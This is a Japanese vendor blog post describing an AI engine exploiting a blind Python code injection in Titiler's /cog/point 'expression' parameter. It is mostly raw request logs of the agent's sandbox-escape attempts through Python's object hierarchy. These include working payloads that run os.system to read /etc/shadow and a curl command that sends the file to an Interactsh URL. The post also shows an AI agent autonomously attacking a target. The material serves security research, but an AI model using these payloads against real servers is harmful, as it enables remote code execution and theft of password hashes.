セキュリティ研究の自動化:AIエンジンが複雑なブラインドコードインジェクションを悪用
精密さはペイロードの乱れ打ちに勝ります。OstorlabのAIエンジンを用いてTitilerへのRCEを体系的に成立させ、スタックトレースを一度も用いずにデータ持ち出しを実証します。
従来の脆弱性の悪用では、実際に悪用を成功させるまでに、手動テストで数日、場合によっては数週間を要することがあります。同じバグが専門化されたAIシステムによって数分で悪用される様子を目の当たりにすると、強い不安を覚えます。とりわけ、こうしたシステムが実行のたびに異なる悪用手法を示す場合はなおさらです。
XbowのAIテストエンジンは先日、オープンソースアプリケーションであるTitilerにおいてPythonコード実行の脆弱性を特定しました。このコードインジェクションはその複雑さで際立っており、単純な実行の脆弱性とは程遠く、悪用を成功させるには高度にカスタマイズされたペイロードを必要とします。
この発見が特に興味深いのは、検出の余地がごくわずかだった点です。詳しく分析したところ、この脆弱性は、テストされた数百のペイロードの中に含まれていた、たった一つの洗練されたペイロードのおかげで特定されました。テストの手札にこの特定のペイロードがなければ、この脆弱性はおそらく検出されないままだったでしょう。
以下では、同じ脆弱性を根本的に異なるアプローチで発見する方法を示します。それは、エクスプロイトのペイロードを一つずつ体系的に組み立て、最終的に予期しない悪用ベクトルを明らかにするアプローチです。
「特定のペイロードにたどり着く」ことから反復的な学習を伴う体系的な検出を実現することへの移行には、システムプロンプトの大幅な改良と、当社のコンテキストエンジニアリングアーキテクチャの大きな改善が必要でした。
この体系的なアプローチは、はっきりと区別された複数のフェーズで展開されます。
フェーズ1:初期プロービング
まず、サーバーが入力をどのように処理するかを理解するために、以下の特定のペイロードを用いて、一般的で直接的なインジェクションの脆弱性をテストします。
-
入力の解析と反映の検出:
-
ペイロード:
a'"<>&z -
理由:特殊文字がどのように扱われるかを確認するためです。そのまま反映されるのか、HTMLエンコードされるのか、それとも削除されるのか。これはコンテキスト(例:HTML、JSON)を理解するのに役立ちます。
-
型制約とエラー処理の検出:
-
ペイロード:パラメーターが数値(例:
id=123)を期待している場合、文字列(id=abc)を送信します。 -
理由:
TypeErrorなどのエラーは、サーバーが入力を処理していることを明らかにし、バックエンドの言語やフレームワークに関する手がかりを与える場合があります。 -
コード評価(数式)の検出:
-
SSTI用のペイロード:
{{7*7}}、${7*7}、#{7*7} - 理由:サーバーが
49を返す場合、テンプレートエンジンが入力を評価していることが確認できます。これはSSTIの強力な兆候です。 - 直接評価用のペイロード:
1/0 -
理由:これは
ZeroDivisionErrorを引き起こす可能性があり、生の式が評価されていることを確認できます。これはオラクルを特定するうえで重要なステップです。 -
直接的なRCEの試行:
-
ペイロード:
__import__('os').system('id') - 理由:これが最終的な目標です。これが機能すれば、クリティカルな脆弱性を発見したことになります。
これらの初期プローブで脆弱性が明らかになった場合は、ペイロードとエビデンスとともに報告します。ブロックされたり決定的でなかったりした場合は、収集した情報を活用して、以下のコア手法に進みます。
プローブが成功した場合、第2フェーズでは反復的なペイロード構築を試みます
フェーズ2:コア手法 - 反復的なペイロード構築
これは、複雑なPythonインジェクションの脆弱性を発見し悪用するための主要な手法です。単純なペイロードが失敗した場合は、サーバーのレスポンス(特にエラー)をオラクルとして利用し、動作するペイロードを一つずつ組み立てていきます。
基礎となる原理(なぜこれが機能するのか):globals や __builtins__ が制限された(eval(code, {'__builtins__':{}}) のような)厳重にサンドボックス化されたPython環境であっても、重大な抜け道が残っていることがよくあります。それはオブジェクト階層へのアクセスです。単純で無害なオブジェクト(空文字列 '' やタプル () など)から始めることで、そのクラスを取得し、継承ツリーを基底の <class 'object'> までさかのぼり、その __subclasses__() メソッドを利用できます。これにより、アプリケーションのメモリにロードされているすべてのクラスの一覧が得られ、完全なサンドボックス脱出とRCEを実現するために利用できる強力な組み込みモジュールや関数へのマップが事実上手に入ります。以下のステップは、まさにこの手法を実装したものです。
ステップ1:オラクル(フィードバックの仕組み)の特定
- アクション:まず、サーバーから詳細なフィードバックを得る方法を見つける必要があります。エラーメッセージは完璧なオラクルです。
- ペイロード:
{{ invalid_syntax' }}、{{ 1/0 }} - 目標:予測可能なエラー(例:スタックトレースを伴う500 Internal Server Error)を引き起こします。
- 指示:見つけたら、オラクルが何であるかを明確に述べます。例:「オラクルはHTTPレスポンス内のJinja2のトレースバックです」。
ステップ2:動作するベースからペイロードを段階的に構築する
-
ペイロードは、既知の正常な土台から出発して、一歩ずつ構築しなければなりません。現在のステップが機能することを確認するまで、次のステップに進んではいけません。各ステップは、直前に成功したステップの上に積み重ねていきます。あるステップが失敗した場合は、エラーを分析し、続行する前にアプローチを適応させる必要があります。
-
動作するベースを確立する:サーバーがエラーなく評価する単純な式を見つけます。これが土台になります。
- 増分1:そのクラスへのアクセス:動作するベースから、属性にアクセスします。
- 増分2:基底の
objectクラスへのアクセス: - 増分3:すべてのサブクラスを見つける:
- 増分4:RCEに役立つサブクラスを見つける:サブクラスを絞り込み、
osのような役立つモジュールに含まれるものを見つけます。 - 増分5:モジュールのグローバル変数へのアクセス:
- 最終ステップ:コマンドの実行:
適切に構造化されたシステムプロンプトと正しいコンテキストがなければ、当社の経験上、エンジンはこの問題を確認できません。また、ツールを渡しすぎると検出品質の低下につながります。以下は、エンジンがどのように動作するかを示したものです。
'expression' パラメーターに無害な数式演算を含めたリクエストを送信し、それがPythonインタープリターによって評価されているかどうかを検証します。目的は、サーバーのレスポンスに元の文字列(例:'7*7')ではなく計算結果(例:'49')が含まれているかを観察することであり、これが確認できればコード評価が行われていることが裏付けられます。
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression='"' Output:
> GET /cog/point/0,0?url=a.tif&expression=' HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-w "%{time_total}" "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27time%27%29.sleep%2810%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27time%27%29.sleep%2810%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1/0 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[1.7976931348623157e+308],"band_names":["b1/0"]}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=https......\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=https...<omitted>...&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https...<omitted>...: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.shape"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.shape HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'shape'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+42%2C+99%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+42%2C+99%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["where(1==1, b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'any'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'NoneType' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'n', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'm', b1, b1*0)"]}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'type'>"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'list'>"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:
> GET /cog/point/0,0?url=httpsa.tif&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"a.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not iterable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'builtin_function_or_method' object is not subscriptable"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'tobytes'"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"data type must provide an itemsize"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'array'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='"http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif\&expression=np.array(%5B1,+2,+3%5D)"' Output:
> GET /cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&expression=np.array(%5B1,+2,+3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif: No such file or directory"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=np.array(%5B1,2,3%5D)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=np.array(%5B1,2,3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.mean%28%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.mean%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object has no attribute 'mean'"}
> GET /cog/point/0,0?url=a.tif&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'wrapper_descriptor' object has no attribute '__globals__'"}
Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:
> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('time').sleep(10)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=__import__('time').sleep(10) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=globals()"' Output:
> GET /cog/point/0,0?url=a.tif&expression=globals() HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1"' Output:
> GET /cog/point/0,0?url=a.tif&expression=1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"No indexes to read"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1;__import__('os').system('ls')"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1;__import__('os').system('ls') HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__"' Output:
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"unsupported expression type: <class 'dict'>"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str(b1.__init__.__globals__)"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str(b1.__init__.__globals__) HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"list index out of range"}
Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29"' Output:
> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error
{"detail":"'VariableNode' object is not callable"}
> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29 HTTP/1.1
< HTTP/1.1 200 OK
{"coordinates":[0,0],"values":[0.0],"band_names":["b1.__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('cat /etc/shadow')\")"]}
当社は、エンジンが受け取ったレスポンスに基づいてそのアプローチを反復的に改良していった様子を示すために、すべてのリクエストを意図的に元の形のまま残しています。
このケーススタディは、当社が採用しつつある新たな概念を裏付けています。それは、LLMを、システムプロンプトが実行可能なコードとして機能する実行時環境として扱うという考え方です。
わかりやすい例を見てみましょう。
アプローチ1:直接計算
- システムプロンプト:「あなたは世界トップクラスの数学の専門家です」
- 結果:LLMは数式演算を内部で計算しようとし、計算ミスを生じさせる可能性があります
アプローチ2:コード生成と実行
- システムプロンプト:「数学の問題をPythonコードに変換し、ツールを介して実行し、検証済みの結果を返してください」
- 結果:LLMは決定論的なコードを生成し、外部ツールを通じて実行し、正確で再現可能な結果を返します
このプロンプトエンジニアリングにおける根本的な違いは、エージェントにタスクの実行をどのように指示するかが、出力の品質と信頼性に重大な影響を及ぼすことを示しています。
この手法を当社の脆弱性検出のシナリオに適用したところ、エンジンは最初の体系的な試行で脆弱性の存在を確認することに成功しました。これは、数千回の反復を要する可能性がある従来のファジングのアプローチとは対照的です。
発見された脆弱性:ブラインドPythonコードインジェクション
脆弱性の概要
'/cog/point' エンドポイントの 'expression' パラメーターに、ブラインドPythonコードインジェクションの脆弱性が特定されました。サーバーは与えられた式を評価しますが、コマンドの出力をHTTPレスポンスでは返しません。代わりに、実行されたコマンドの終了コードが返され、実行が成功した場合は '0' になります。これはコマンドが実行されたことを裏付けますが、結果はアウトオブバンドの手法で持ち出す必要があります。
概念実証(PoC)
この脆弱性は、以下のペイロードを送信することで確認されました。
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
サーバーは 200 OK ステータスと {"values":[0.0]} を返しました。ここで 0.0 は os.system 呼び出しの終了コードであり、実行が行われたことを実証しています。
悪用のエビデンス
/etc/shadow ファイルを持ち出すために、Interactsh URLを使用して curl コマンドの出力を捕捉します。
持ち出し用ペイロード:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
再現手順
- Interactshセッションを開始して、一意のURLを取得します。
- 持ち出し用ペイロードをInteractsh URLとともにURLエンコードします。
- エンコードしたペイロードを 'expression' パラメーターに含め、脆弱なエンドポイントにGETリクエストを送信します。
- Interactshセッションで、受信したPOSTリクエストを確認します。このリクエストのボディに /etc/shadow ファイルの内容が含まれます。
Vulnerability Confirmation:
The server executes the os.system call, and the exit code (0) is returned in the 'values' field of the JSON response, confirming blind command execution.
Exfiltration Payload:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
次のステップは悪用です。
アウトオブバンドの持ち出し用ペイロードを実行して、/etc/shadow ファイルの内容を、制御下にある外部サーバーに送信します。目標は、待ち受けているサーバーでファイルの内容が受信されることを検証することによって、この脆弱性が機密データの窃取に悪用できることを確認することです。
発見された脆弱性:ブラインドPythonコードインジェクション
脆弱性の概要
'/cog/point' エンドポイントの 'expression' パラメーターに、ブラインドPythonコードインジェクションの脆弱性が特定されました。サーバーは与えられた式を評価しますが、コマンドの出力をHTTPレスポンスでは返しません。代わりに、実行されたコマンドの終了コードが返され、実行が成功した場合は '0' になります。これはコマンドが実行されたことを裏付けますが、結果はアウトオブバンドの手法で持ち出す必要があります。
概念実証
この脆弱性は、以下のペイロードを送信することで確認されました。
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow')")
サーバーは 200 OK ステータスと {"values":[0.0]} を返しました。ここで 0.0 は os.system 呼び出しの終了コードであり、実行が行われたことを実証しています。
ツールの失敗により持ち出しがブロックされた
/etc/shadow ファイルを持ち出すには、アウトオブバンド(OOB)の手法が必要です。意図していた手法は、Interactsh URLを使用して curl コマンドの出力を捕捉することでした。しかし、start_interactsh_session ツールの初期化が一貫して失敗しており、データ持ち出し用のURLの生成が妨げられています。
意図していた持ち出し用ペイロード:
b1.__init__.__globals__['__builtins__']['eval']("__import__('os').system('cat /etc/shadow | curl -X POST --data-binary @- <INTERACTSH_URL>')")
Interactsh URLを生成できなかったため、/etc/shadow ファイルを持ち出す最終ステップを完了できませんでした。脆弱性は確認済みですが、悪用は現在、ツールチェーンの問題によってブロックされています。
